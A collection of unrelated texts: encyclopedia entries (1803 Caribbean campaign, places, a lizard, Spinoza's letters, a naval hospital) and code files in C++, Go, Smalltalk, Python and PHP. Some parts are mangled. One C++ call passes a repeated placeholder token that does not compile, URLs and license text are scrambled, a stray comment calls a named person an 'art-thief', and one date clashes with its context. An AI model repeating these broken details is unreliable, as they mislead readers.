In the meantime, Hallowell had taken a detachment of seamen and marines to Gros Islet, to cut the route between the fort at Pigeon Island and St Lucia's main fortress, Morne-Fortunée. Following the fall of Castries, the French garrison at Morne-Fortunée was called on to surrender but the commanding officer, Brigadier Antoine Noguès, refused and at 04:00 the next morning therefore, the British stormed the walls with two columns led by Brigadier-General Thomas Picton. They suffered 130 casualties in the attack but by 04:30 the fort and the island were in British hands. French prisoners, amounting to 640, were sent back to France.
Following this relatively easy take over, it was decided to follow up with an attack on Tobago. The 68th Regiment and three companies of the 3rd West Indies Regiment were left to hold St Lucia while Hood's Centaur and some smaller vessels took Grinfield and the remainder. Tobago was captured on 1 July after the capital Scarborough had been occupied by two columns of Grinfield's soldiers. The French general, Berthier, had been briefed on the size of the force confronting him, and decided to capitulate without a fight. The island was garrisoned with eight companies from the 1st and one company from the 3rd West Indies regiments, and the expedition returned to Barbados.
Demerara, Essequibo and Berbice
The colonies in South America, under the control of the Batavian Republic, had been visited by the French colonial governor Victor Hughes in early July, causing much apprehension among the Dutch planters. Recalling the 1794 invasion of Guadeloupe and alert to the possibile carnage that might come to them, they requested a peaceful take over by the British. On 10 August, Grinfield received orders to call on the surrender of the colonies of Demerara, Essequibo and Berbice.
With much of the original expeditionary force now employed defending the new acquisitions, Grinfield requested that 5,000 more men be sent out to help. He was promised a battalion from Gibraltar but this did not arrive and after waiting in vain for reinforcements until the end of August, decided that he would have to make do with the troops at his disposal.
By supplementing his force with Royal Marines, Grinfield managed to amass 1300 men and on 1 September set out with Hood's squadron, comprising Centaur, the 16-gun troopship , Chichester, the transport ship , the 22-gun brig and the 16-gun sloop . The expedition did not arrive at the rendezvous point, off the mouth of the Demerara River, until 18 September however, due to very light winds.
A summons was immediately dispatched to the Dutch governor at Georgetown, under a flag of truce. It demanded that the colonies be given up and in return full honours of war and parole for officers would be granted. Public stores, buildings and ships would be seized but private property and possessions would not. In the meantime Netley, carrying aboard someone who was familiar with the coastline, was sent off to scout and look for small boats that could be used during the operation. By early the next morning, 24 local boats had been gathered and troops were disembarked from Chichester and Centaur, which were too big to enter the river. The following day, 20 June, a Dutch party arrived and terms for the surrender were agreed. Hornet, which had been blockading the port, then sailed up the river with Netley, and 200 troops were landed who secured Fort William Frederick. Heureux took the 18-gun , a naval sloop belonging to the Batavian Republic, moored in the river there. The colonies of Demerara and Essequibo were given up at noon the next day.
The governor of Demerara and Essequibo, Antony Meertens, was however unable to treat for independently governed Berbice. Therefore a separate deputation was sent, comprising Heureux, Alligator, Netley and a detachment of soldiers and marines aboard the transport ship Brilliant. The colony was eventually taken without a fight on 27 September. Of the 1500 men who made up the Dutch garrisons, half joined the British Army, forming their own regiment, the York Light Infantry Volunteers.
Notes
Citations
References
Conflicts in 1803
Battles involving France
Battles involving the Netherlands
Battles involving the United Kingdom
Amphibious operations involving the United Kingdom
Napoleonic Wars
|
Lentiol () is a commune in the Isère department in southeastern France.
Population
See also
Communes of the Isère department
References
Communes of Isère
Isère communes articles needing translation from French Wikipedia
|
Monopeltis sphenorhynchus, also known commonly as Maurice's slender worm lizard, Maurice's spade-snouted worm lizard, and the slender spade-snouted worm lizard, is a species of amphisbaenian in the family Amphisbaenidae. The species is native to southern Africa. There are two recognized subspecies.
Geographic range
M. sphenorhynchus is found in Botswana, Mozambique, and South Africa.
Habitat
The preferred natural habitats of M. sphenorhynchus are deep sand and alluvial soil.
Description
Slender and medium-sized for the genus, adults of M. sphenorhynchus usually have a snout-to-vent length (SVL) of . The maximum recorded SVL is . The body is uniformly pink, both dorsally and ventrally.
Reproduction
The mode of reproduction of M. sphenorhynchus is unknown.
References
Further reading
Auerbach RD (1987). The Amphibians and Reptiles of Botswana. Gaborone, Botswana: Mokwepa Consultants. 295 pp. . (Monopeltis sphenorhynchus mauricei, p. 140).
Gans C (2005). "Checklist and Bibliography of the Amphisbaenia of the World". Bulletin of the American Museum of Natural History (289): 1–130. (Monopeltis sphenorhynchus, p. 37).
Parker HW (1935). "A new species of Amphisbænid Lizard from Bechuanaland". Annals and Magazine of Natural History, Tenth Series 15: 582–583. (Monopeltis mauricei, new species).
Peters W (1879). "Über die Amphisbaenen und eine zu denselben gehörige neue Art (Lepidosternon Wuchereri)". Monatsberichte der Königlich preussischen Akademie der Wissenschaften zu Berlin 1879: 273–277. (Monopeltis sphenorhynchus, new species, p. 275). (in German).
Monopeltis
Reptiles of Mozambique
Reptiles of Botswana
Reptiles of South Africa
Reptiles described in 1879
Taxa named by Wilhelm Peters
|
Attili is a town in West Godavari district of the Indian state of Andhra Pradesh. It belongs to Tanuku Constituency in Bhimavaram revenue division. Attili has its own train station. Attili is the headquarters of Attili mandal.
Demographics
Census of India, Attili had a population of 25,004. The total population constitutes 12,509 males and 12,495 females with a sex ratio of 999 females per 1,000 males. 2,315 children are in the age group of 0–6 years, with a sex ratio of 928. The average literacy rate stands at 78.82%.
References
Villages in West Godavari district
|
```c++
/// Source : path_to_url
/// Author : liuyubobobo
/// Time : 2021-08-23
#include <iostream>
#include <vector>
using namespace std;
/// RK + DP + Space Optimizaed
/// Time Complexity: O(n^2)
/// Space Complexity: O(n)
template<typename T>
class StringHash{
private:
int n;
T B, MOD;
vector<T> h, p;
public:
StringHash(const string& s, T B = 128, T MOD = 1e9+ 7) :
n(s.size()), h(n + 1, 0), p(n + 1, 1), B(B), MOD(MOD){
for(int i = 0; i < n; i ++){
h[i + 1] = (h[i] * B + s[i]) % MOD;
p[i + 1] = p[i] * B % MOD;
}
}
T get_hash(int l, int r){
T res = (h[r + 1] - h[l] * p[r - l + 1]) % MOD;
return res < 0 ? res + MOD : res;
}
};
class Solution {
private:
const int MOD = 1e9 + 7;
StringHash<long long> *hash;
public:
int numberOfCombinations(string num) {
int n = num.size();
hash = new StringHash<long long>(num);
vector<int> dp(n, 0); // (len, start)
vector<int> presum(n, 0);
dp[0] = num[0] != '0';
presum[0] = dp[0];
for(int len = n - 1; len >= 1; len --){
dp.assign(n, 0);
dp[n - len] = num[n - len] != '0';
for(int start = n - len - 1; start >= 0; start --){
if(num[start] == '0') continue;
dp[start] = presum[start + len];
if(start + len + len <= n && less_or_equal(num, start, start + len, len))
dp[start] += dp[start + len];
dp[start] %= MOD;
}
for(int i = 0; i < n; i ++)
presum[i] = (presum[i] + dp[i]) % MOD;
}
return presum[0];
}
private:
bool less_or_equal(const string& num, int start1, int start2, int len){
if(hash->get_hash(start1, start1 + len - 1) == hash->get_hash(start2, start2 + len - 1))
return true;
for(int k = 0; k < len; k ++){
if(num[start1 + k] < num[start2 + k]) return true;
else if(num[start1 + k] > num[start2 + k]) return false;
}
return true;
}
};
int main() {
cout << Solution().numberOfCombinations("327") << endl;
// 2
cout << Solution().numberOfCombinations("094") << endl;
// 0
cout << Solution().numberOfCombinations("0") << endl;
// 0
cout << Solution().numberOfCombinations("9999999999999") << endl;
// 101
cout << Solution().numberOfCombinations(your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash11111111111111111111111111111111111111111111") << endl;
// 755568658
return 0;
}
```
|
```go
//
//
// path_to_url
//
// Unless required by applicable law or agreed to in writing, software
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
package monitoring
import (
"fmt"
"strings"
"sync"
"k8s.io/klog/v2"
)
// InertMetricFactory creates inert metrics for testing.
type InertMetricFactory struct{}
// NewCounter creates a new inert Counter.
func (imf InertMetricFactory) NewCounter(name, help string, labelNames ...string) Counter {
return &InertFloat{
labelCount: len(labelNames),
vals: make(map[string]float64),
}
}
// NewGauge creates a new inert Gauge.
func (imf InertMetricFactory) NewGauge(name, help string, labelNames ...string) Gauge {
return &InertFloat{
labelCount: len(labelNames),
vals: make(map[string]float64),
}
}
// NewHistogram creates a new inert Histogram.
func (imf InertMetricFactory) NewHistogram(name, help string, labelNames ...string) Histogram {
return &InertDistribution{
labelCount: len(labelNames),
counts: make(map[string]uint64),
sums: make(map[string]float64),
}
}
// NewHistogramWithBuckets creates a new inert Histogram with supplied buckets.
// The buckets are not actually used.
func (imf InertMetricFactory) NewHistogramWithBuckets(name, help string, _ []float64, labelNames ...string) Histogram {
return imf.NewHistogram(name, help, labelNames...)
}
// InertFloat is an internal-only implementation of both the Counter and Gauge interfaces.
type InertFloat struct {
labelCount int
mu sync.Mutex
vals map[string]float64
}
// Inc adds 1 to the value.
func (m *InertFloat) Inc(labelVals ...string) {
m.Add(1.0, labelVals...)
}
// Dec subtracts 1 from the value.
func (m *InertFloat) Dec(labelVals ...string) {
m.Add(-1.0, labelVals...)
}
// Add adds the given amount to the value.
func (m *InertFloat) Add(val float64, labelVals ...string) {
m.mu.Lock()
defer m.mu.Unlock()
key, err := keyForLabels(labelVals, m.labelCount)
if err != nil {
klog.Error(err.Error())
return
}
m.vals[key] += val
}
// Set sets the value.
func (m *InertFloat) Set(val float64, labelVals ...string) {
m.mu.Lock()
defer m.mu.Unlock()
key, err := keyForLabels(labelVals, m.labelCount)
if err != nil {
klog.Error(err.Error())
return
}
m.vals[key] = val
}
// Value returns the current value.
func (m *InertFloat) Value(labelVals ...string) float64 {
m.mu.Lock()
defer m.mu.Unlock()
key, err := keyForLabels(labelVals, m.labelCount)
if err != nil {
klog.Error(err.Error())
return 0.0
}
return m.vals[key]
}
// InertDistribution is an internal-only implementation of the Distribution interface.
type InertDistribution struct {
labelCount int
mu sync.Mutex
counts map[string]uint64
sums map[string]float64
}
// Observe adds a single observation to the distribution.
func (m *InertDistribution) Observe(val float64, labelVals ...string) {
m.mu.Lock()
defer m.mu.Unlock()
key, err := keyForLabels(labelVals, m.labelCount)
if err != nil {
klog.Error(err.Error())
return
}
m.counts[key]++
m.sums[key] += val
}
// Info returns count, sum for the distribution.
func (m *InertDistribution) Info(labelVals ...string) (uint64, float64) {
m.mu.Lock()
defer m.mu.Unlock()
key, err := keyForLabels(labelVals, m.labelCount)
if err != nil {
klog.Error(err.Error())
return 0, 0.0
}
return m.counts[key], m.sums[key]
}
func keyForLabels(labelVals []string, count int) (string, error) {
if len(labelVals) != count {
return "", fmt.Errorf("invalid label count %d; want %d", len(labelVals), count)
}
return strings.Join(labelVals, "|"), nil
}
```
|
The following is a list of notable correspondence (Epistolae) of the Dutch philosopher Benedictus de Spinoza (1633-1677) with well-known learned men and with his admirers. These letters were published after Spinoza's death in the Opera Posthuma (Dutch translated edition: De nagelate schriften, 1677). Spinoza had preserved the incoming letters and drafts of the letters he sent. In total 88 letters, predominantly concerning philosophical subjects have been handed down: 50 by Spinoza and 38 by his correspondents, 52 written in Latin and 26 in Dutch. The letters discuss topics from Spinoza's own work including infinity and the attributes (properties) of "God", Spinoza's concept of the universe) but also touch on subjects such as ghosts and scientific discoveries, for example the vacuum.
Table of selected letters
The date of the letter is given with a correction for the Old/New Style dating system. A selection from the letters:
References
Works by Baruch Spinoza
Collections of letters
|
```smalltalk
Class {
#name : 'ClyMethodsInProtocolGroupProviderTest',
#superclass : 'ClyMethodGroupProviderTest',
#category : 'Calypso-SystemQueries-Tests-Domain',
#package : 'Calypso-SystemQueries-Tests',
#tag : 'Domain'
}
{ #category : 'running' }
ClyMethodsInProtocolGroupProviderTest >> classSampleWhichHasGroup [
^ClyClass1FromP1Mock
]
{ #category : 'running' }
ClyMethodsInProtocolGroupProviderTest >> groupProviderClass [
^ClyMethodsInProtocolGroupProvider
]
{ #category : 'tests' }
ClyMethodsInProtocolGroupProviderTest >> testCreateGroupsForEveryProtocol [
| groups query |
self buildGroupsFor: ClySubclassN1OfClass1FromP1Mock.
groups := builtGroups select: [ :each | each isKindOf: ClyMethodsInProtocolGroup ].
self assertCollection: (groups collect: [ :group | group protocol ]) hasSameElements: ClySubclassN1OfClass1FromP1Mock protocolNames.
query := groups first methodQuery.
self assert: query class equals: ClyMethodsInProtocolQuery.
self assert: query scope equals: (ClyClassScope of: ClySubclassN1OfClass1FromP1Mock)
]
```
|
```c++
// 2001-11-26 Benjamin Kosnik <bkoz@redhat.com>
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// Free Software Foundation; either version 2, or (at your option)
// any later version.
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// with this library; see the file COPYING. If not, write to the Free
// Software Foundation, 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
// 22.2.2.1.1 num_get members
#include <locale>
#include <sstream>
#include <testsuite_hooks.h>
// XXX This test is not working for non-glibc locale models.
// { dg-do run { xfail *-*-* } }
#ifdef _GLIBCPP_USE_WCHAR_T
void test01()
{
using namespace std;
typedef istreambuf_iterator<wchar_t> iterator_type;
bool test = true;
// basic construction
locale loc_c = locale::classic();
locale loc_hk("en_HK");
locale loc_fr("fr_FR@euro");
locale loc_de("de_DE");
VERIFY( loc_c != loc_de );
VERIFY( loc_hk != loc_fr );
VERIFY( loc_hk != loc_de );
VERIFY( loc_de != loc_fr );
// cache the numpunct facets
const numpunct<wchar_t>& numpunct_c = use_facet<numpunct<wchar_t> >(loc_c);
const numpunct<wchar_t>& numpunct_de = use_facet<numpunct<wchar_t> >(loc_de);
const numpunct<wchar_t>& numpunct_hk = use_facet<numpunct<wchar_t> >(loc_hk);
// sanity check the data is correct.
const string empty;
char c;
bool b1 = true;
bool b0 = false;
long l1 = 2147483647;
long l2 = -2147483647;
long l;
unsigned long ul1 = 1294967294;
unsigned long ul2 = 0;
unsigned long ul;
double d1 = 1.02345e+308;
double d2 = 3.15e-308;
double d;
long double ld1 = 6.630025e+4;
long double ld2 = 0.0;
long double ld;
void* v;
const void* cv = &ul2;
// cache the num_get facet
wistringstream iss;
iss.imbue(loc_de);
const num_get<wchar_t>& ng = use_facet<num_get<wchar_t> >(iss.getloc());
const ios_base::iostate goodbit = ios_base::goodbit;
const ios_base::iostate eofbit = ios_base::eofbit;
ios_base::iostate err = ios_base::goodbit;
// bool, simple
iss.str(L"1");
iterator_type os_it00 = iss.rdbuf();
iterator_type os_it01 = ng.get(os_it00, 0, iss, err, b1);
VERIFY( b1 == true );
VERIFY( err & ios_base::eofbit );
iss.str(L"0");
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, b0);
VERIFY( b0 == false );
VERIFY( err & eofbit );
// bool, more twisted examples
iss.imbue(loc_c);
iss.str(L"true ");
iss.clear();
iss.setf(ios_base::boolalpha);
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, b0);
VERIFY( b0 == true );
VERIFY( err == goodbit );
iss.str(L"false ");
iss.clear();
iss.setf(ios_base::boolalpha);
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, b1);
VERIFY( b1 == false );
VERIFY( err == goodbit );
// long, in a locale that expects grouping
iss.imbue(loc_hk);
iss.str(L"2,147,483,647 ");
iss.clear();
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, l);
VERIFY( l == l1 );
VERIFY( err == goodbit );
iss.str(L"-2,147,483,647++++++");
iss.clear();
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, l);
VERIFY( l == l2 );
VERIFY( err == goodbit );
// unsigned long, in a locale that does not group
iss.imbue(loc_c);
iss.str(L"1294967294");
iss.clear();
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ul);
VERIFY( ul == ul1);
VERIFY( err == eofbit );
iss.str(L"0+++++++++++++++++++");
iss.clear();
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ul);
VERIFY( ul == ul2);
VERIFY( err == goodbit );
// ... and one that does
iss.imbue(loc_de);
iss.str(L"1.294.967.294+++++++");
iss.clear();
iss.width(20);
iss.setf(ios_base::left, ios_base::adjustfield);
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ul);
VERIFY( ul == ul1 );
VERIFY( err == goodbit );
// double
iss.imbue(loc_c);
iss.str(L"1.02345e+308++++++++");
iss.clear();
iss.width(20);
iss.setf(ios_base::left, ios_base::adjustfield);
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, d);
VERIFY( d == d1 );
VERIFY( err == goodbit );
iss.str(L"+3.15e-308");
iss.clear();
iss.width(20);
iss.setf(ios_base::right, ios_base::adjustfield);
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, d);
VERIFY( d == d2 );
VERIFY( err == eofbit );
iss.imbue(loc_de);
iss.str(L"+1,02345e+308");
iss.clear();
iss.width(20);
iss.setf(ios_base::right, ios_base::adjustfield);
iss.setf(ios_base::scientific, ios_base::floatfield);
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, d);
VERIFY( d == d1 );
VERIFY( err == eofbit );
iss.str(L"3,15E-308 ");
iss.clear();
iss.width(20);
iss.precision(10);
iss.setf(ios_base::right, ios_base::adjustfield);
iss.setf(ios_base::scientific, ios_base::floatfield);
iss.setf(ios_base::uppercase);
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, d);
VERIFY( d == d2 );
VERIFY( err == goodbit );
// long double
iss.str(L"6,630025e+4");
iss.clear();
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ld);
VERIFY( ld == ld1 );
VERIFY( err == eofbit );
iss.str(L"0 ");
iss.clear();
iss.precision(0);
iss.setf(ios_base::fixed, ios_base::floatfield);
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ld);
VERIFY( ld == 0 );
VERIFY( err == goodbit );
// const void
iss.str(L"0xbffff74c,");
iss.clear();
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, v);
VERIFY( &v != &cv );
VERIFY( err == goodbit );
#ifdef _GLIBCPP_USE_LONG_LONG
long long ll1 = 9223372036854775807LL;
long long ll2 = -9223372036854775807LL;
long long ll;
iss.str(L"9.223.372.036.854.775.807");
iss.clear();
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ll);
VERIFY( ll == ll1 );
VERIFY( err == eofbit );
#endif
}
// 2002-01-10 David Seymour <seymour_dj@yahoo.com>
// libstdc++/5331
void test02()
{
using namespace std;
bool test = true;
// Check num_get works with other iterators besides streambuf
// output iterators. (As long as output_iterator requirements are met.)
typedef wstring::const_iterator iter_type;
typedef num_get<wchar_t, iter_type> num_get_type;
const ios_base::iostate goodbit = ios_base::goodbit;
const ios_base::iostate eofbit = ios_base::eofbit;
ios_base::iostate err = ios_base::goodbit;
const locale loc_c = locale::classic();
const wstring str(L"20000106 Elizabeth Durack");
const wstring str2(L"0 true 0xbffff74c Durack");
istringstream iss; // need an ios, add my num_get facet
iss.imbue(locale(loc_c, new num_get_type));
// Iterator advanced, state, output.
const num_get_type& ng = use_facet<num_get_type>(iss.getloc());
// 01 get(long)
// 02 get(long double)
// 03 get(bool)
// 04 get(void*)
// 01 get(long)
long i = 0;
err = goodbit;
iter_type end1 = ng.get(str.begin(), str.end(), iss, err, i);
wstring rem1(end1, str.end());
VERIFY( err == goodbit );
VERIFY( i == 20000106);
VERIFY( rem1 == L" Elizabeth Durack" );
// 02 get(long double)
long double ld = 0.0;
err = goodbit;
iter_type end2 = ng.get(str.begin(), str.end(), iss, err, ld);
wstring rem2(end2, str.end());
VERIFY( err == goodbit );
VERIFY( ld == 20000106);
VERIFY( rem2 == L" Elizabeth Durack" );
// 03 get(bool)
// const string str2("0 true 0xbffff74c Durack");
bool b = 1;
iss.clear();
err = goodbit;
iter_type end3 = ng.get(str2.begin(), str2.end(), iss, err, b);
wstring rem3(end3, str2.end());
VERIFY( err == goodbit );
VERIFY( b == 0 );
VERIFY( rem3 == L" true 0xbffff74c Durack" );
iss.clear();
err = goodbit;
iss.setf(ios_base::boolalpha);
iter_type end4 = ng.get(++end3, str2.end(), iss, err, b);
wstring rem4(end4, str2.end());
VERIFY( err == goodbit );
VERIFY( b == true );
VERIFY( rem4 == L" 0xbffff74c Durack" );
// 04 get(void*)
void* v;
iss.clear();
err = goodbit;
iss.setf(ios_base::fixed, ios_base::floatfield);
iter_type end5 = ng.get(++end4, str2.end(), iss, err, v);
wstring rem5(end5, str2.end());
VERIFY( err == goodbit );
VERIFY( b == true );
VERIFY( rem5 == L" Durack" );
}
// libstdc++/5280
void test03()
{
#ifdef _GLIBCPP_HAVE_SETENV
// Set the global locale to non-"C".
std::locale loc_de("de_DE");
std::locale::global(loc_de);
// Set LANG environment variable to de_DE.
const char* oldLANG = getenv("LANG");
if (!setenv("LANG", "de_DE", 1))
{
test01();
test02();
setenv("LANG", oldLANG ? oldLANG : "", 1);
}
#endif
}
// Testing the correct parsing of grouped hexadecimals and octals.
void test04()
{
using namespace std;
bool test = true;
unsigned long ul;
wistringstream iss;
// A locale that expects grouping
locale loc_de("de_DE");
iss.imbue(loc_de);
const num_get<wchar_t>& ng = use_facet<num_get<wchar_t> >(iss.getloc());
const ios_base::iostate goodbit = ios_base::goodbit;
ios_base::iostate err = ios_base::goodbit;
iss.setf(ios::hex, ios::basefield);
iss.str(L"0xbf.fff.74c ");
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ul);
VERIFY( err == goodbit );
VERIFY( ul == 0xbffff74c );
iss.str(L"0Xf.fff ");
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ul);
VERIFY( err == goodbit );
VERIFY( ul == 0xffff );
iss.str(L"ffe ");
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ul);
VERIFY( err == goodbit );
VERIFY( ul == 0xffe );
iss.setf(ios::oct, ios::basefield);
iss.str(L"07.654.321 ");
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ul);
VERIFY( err == goodbit );
VERIFY( ul == 07654321 );
iss.str(L"07.777 ");
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ul);
VERIFY( err == goodbit );
VERIFY( ul == 07777 );
iss.str(L"776 ");
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, ul);
VERIFY( err == goodbit );
VERIFY( ul == 0776 );
}
// libstdc++/5816
void test05()
{
using namespace std;
bool test = true;
double d = 0.0;
wistringstream iss;
locale loc_de("de_DE");
iss.imbue(loc_de);
const num_get<wchar_t>& ng = use_facet<num_get<wchar_t> >(iss.getloc());
const ios_base::iostate goodbit = ios_base::goodbit;
ios_base::iostate err = ios_base::goodbit;
iss.str(L"1234,5 ");
err = goodbit;
ng.get(iss.rdbuf(), 0, iss, err, d);
VERIFY( err == goodbit );
VERIFY( d == 1234.5 );
}
// path_to_url
void test06()
{
bool test = true;
const char* tentLANG = std::setlocale(LC_ALL, "ja_JP.eucjp");
if (tentLANG != NULL)
{
std::string preLANG = tentLANG;
test01();
test02();
test04();
test05();
std::string postLANG = std::setlocale(LC_ALL, NULL);
VERIFY( preLANG == postLANG );
}
}
#endif
int main()
{
#ifdef _GLIBCPP_USE_WCHAR_T
test01();
test02();
test03();
test04();
test05();
test06();
#endif
return 0;
}
// Kathleen Hannah, humanitarian, woman, art-thief
```
|
Naval Hospital Santa Margarita Ranch was a large US Navy hospital facility in Oceanside, California. Located on Camp Pendleton in Camp Pendleton South, California in San Diego County. Naval Hospital Santa Margarita Ranch was the first naval hospital in the area that opened in 1943 to support World War 2 wounded. Built on Rancho Santa Margarita y Las Flores, near the training Center's Lake O'Neill with 1,228 beds. In 1945 the hospital expanded to 1,584 beds. In 1950 the hospital was renamed Naval Hospital Camp Joseph H. Pendleton, Oceanside. The hospital was renamed a few times before being given its current name, Naval Hospital Camp Pendleton, in 1967. The 1943 hospital was built quickly, composed of 76 temporary, wood-frame buildings at first with 600 beds and opened on September 3, 1943. The hospital and support building were on 252 acres. Post war, in 1946 the hospital was reduced to 920 beds. In 1971 construction started on a new eight-story hospital, the new hospital opened in December 1974. The 1974 hospital was replaced with the current hospital in 2014. The site of the original Naval Hospital Santa Margarita Ranch is now: Lake O'Neill Campground, Camp Pendleton Youth Sports, O'Neill Fitness Center, Wounded Warrior Battalion West and the Camp Pendleton Fire Department Station 4.
Naval Hospital Camp Pendleton, which replaced Naval Hospital Santa Margarita Ranch is the current hospital that operates in a 500,000-square-foot, four-story building that opened on January 31, 2014. The new complex was completed under the American Recovery and Reinvestment Act of 2009. A groundbreaking ceremony was held on December 2, 2010, and construction completed on October 17, 2013. The hospital is part of the US Military Health System. The hospital has 150 beds and was built under the Naval Facilities Engineering Command. Naval Hospital Camp Pendleton operates branch clinics in the Southern California area. Naval Hospital Camp Pendleton has a 26-bed emergency center, primary care, intensive care, care for active-duty military, veterans and their families. Other services include: nine operating rooms, six imaging rooms, labor and delivery program. The parking structure has a large solar energy system.
See also
California during World War II
American Theater (1939–1945)
United States home front during World War II
DeWitt General Hospital
External links
Official Website of Naval Hospital Camp Pendleton
Naval Hospital Camp Pendleton Facebook
References
California in World War II
1943 establishments in California
Military facilities in San Diego County, California
North County (San Diego County)
|
Tierralta is a town and municipality located in the Córdoba Department, northern Colombia.
Corregimientos
Callejas
Crucito
Palmira
Santa Fé de Ralito
Caramelo
San Clemente
Las Claras
Saiza
Frasquillo
Volador
El Toro
San Felipe de Cadillo
Batata
Tucurá
Nueva Granada
Santa Marta
Villa Providencia
Carrizola
Urra Campo Bello
Nuevo Oriente
References
Gobernacion de Cordoba - Tierralta
Tierralta official website
Municipalities of Córdoba Department
|
```python
# --------------------------------------------------------
# Fully Convolutional Instance-aware Semantic Segmentation
# Written by Guodong Zhang
# --------------------------------------------------------
"""
Proposal Target Operator selects foreground and background roi and assigns label, bbox_transform to them.
"""
import mxnet as mx
import numpy as np
from distutils.util import strtobool
from bbox.bbox_transform import bbox_pred, clip_boxes
class BoxParserOperator(mx.operator.CustomOp):
def __init__(self, b_clip_boxes, bbox_class_agnostic, bbox_means, bbox_stds):
super(BoxParserOperator, self).__init__()
self._b_clip_boxes = b_clip_boxes
self._bbox_class_agnostic = bbox_class_agnostic
self._bbox_means = np.fromstring(bbox_means[1:-1], dtype=float, sep=',')
self._bbox_stds = np.fromstring(bbox_stds[1:-1], dtype=float, sep=',')
def forward(self, is_train, req, in_data, out_data, aux):
bottom_rois = in_data[0].asnumpy()
bbox_delta = in_data[1].asnumpy()
cls_prob = in_data[2].asnumpy()
im_info = in_data[3].asnumpy()
num_rois = bottom_rois.shape[0]
# 1. judge if bbox class-agnostic
# 2. if not, calculate bbox_class_idx
if self._bbox_class_agnostic:
bbox_class_idx = np.ones((num_rois)) # (num_rois, 1) zeros
else:
bbox_class_idx = np.argmax(cls_prob[:,1:], axis=1) + 1
bbox_class_idx = bbox_class_idx[:, np.newaxis] * 4
bbox_class_idx = np.hstack((bbox_class_idx,bbox_class_idx+1,bbox_class_idx+2,bbox_class_idx+3))
# 3. get bbox_pred given bbox_class_idx
rows = np.arange(num_rois, dtype=np.intp)
bbox_delta = bbox_delta[rows[:,np.newaxis], bbox_class_idx.astype(np.intp)]
# 4. calculate bbox_delta by bbox_pred[i] * std[i] + mean[i]
means = np.array(self._bbox_means)
stds = np.array(self._bbox_stds)
vx = bbox_delta[:, 0] * stds[0] + means[0]
vy = bbox_delta[:, 1] * stds[1] + means[1]
vw = bbox_delta[:, 2] * stds[2] + means[2]
vh = bbox_delta[:, 3] * stds[3] + means[3]
bbox_delta = np.hstack((vx[:, np.newaxis], vy[:, np.newaxis], vw[:, np.newaxis], vh[:, np.newaxis]))
# 6. calculate top_rois by bbox_pred
proposal = bbox_pred(bottom_rois[:, 1:], bbox_delta)
# 7. clip boxes
if self._b_clip_boxes:
proposal = clip_boxes(proposal, im_info[0, :2])
output = bottom_rois
output[:,1:] = proposal
for ind, val in enumerate([output]):
self.assign(out_data[ind], req[ind], val)
def backward(self, req, out_grad, in_data, out_data, in_grad, aux):
for i in range(len(in_grad)):
self.assign(in_grad[i], req[i], 0)
@mx.operator.register('BoxParser')
class BoxParserProp(mx.operator.CustomOpProp):
def __init__(self, b_clip_boxes, bbox_class_agnostic, bbox_means='(0,0,0,0)', bbox_stds='(0.1,0.1,0.2,0.2)'):
super(BoxParserProp, self).__init__(need_top_grad=False)
self._b_clip_boxes = strtobool(b_clip_boxes)
self._bbox_class_agnostic = strtobool(bbox_class_agnostic)
self._bbox_means = bbox_means
self._bbox_stds = bbox_stds
def list_arguments(self):
return ['bottom_rois', 'bbox_delta', 'cls_prob', 'im_info']
def list_outputs(self):
return ['output']
def infer_shape(self, in_shape):
output_shape = in_shape[0]
return in_shape, [output_shape]
def create_operator(self, ctx, shapes, dtypes):
return BoxParserOperator(self._b_clip_boxes, self._bbox_class_agnostic,
self._bbox_means, self._bbox_stds)
def declare_backward_dependency(self, out_grad, in_data, out_data):
return []
```
|
```php
<?php
declare(strict_types=1);
use Doctrine\ORM\Events;
use Happyr\DoctrineSpecification\Repository\EntitySpecificationRepository;
use Shlinkio\Shlink\Core\Config\EnvVars;
use Shlinkio\Shlink\Core\Visit\Listener\OrphanVisitsCountTracker;
use Shlinkio\Shlink\Core\Visit\Listener\ShortUrlVisitsCountTracker;
use function Shlinkio\Shlink\Core\ArrayUtils\contains;
return (static function (): array {
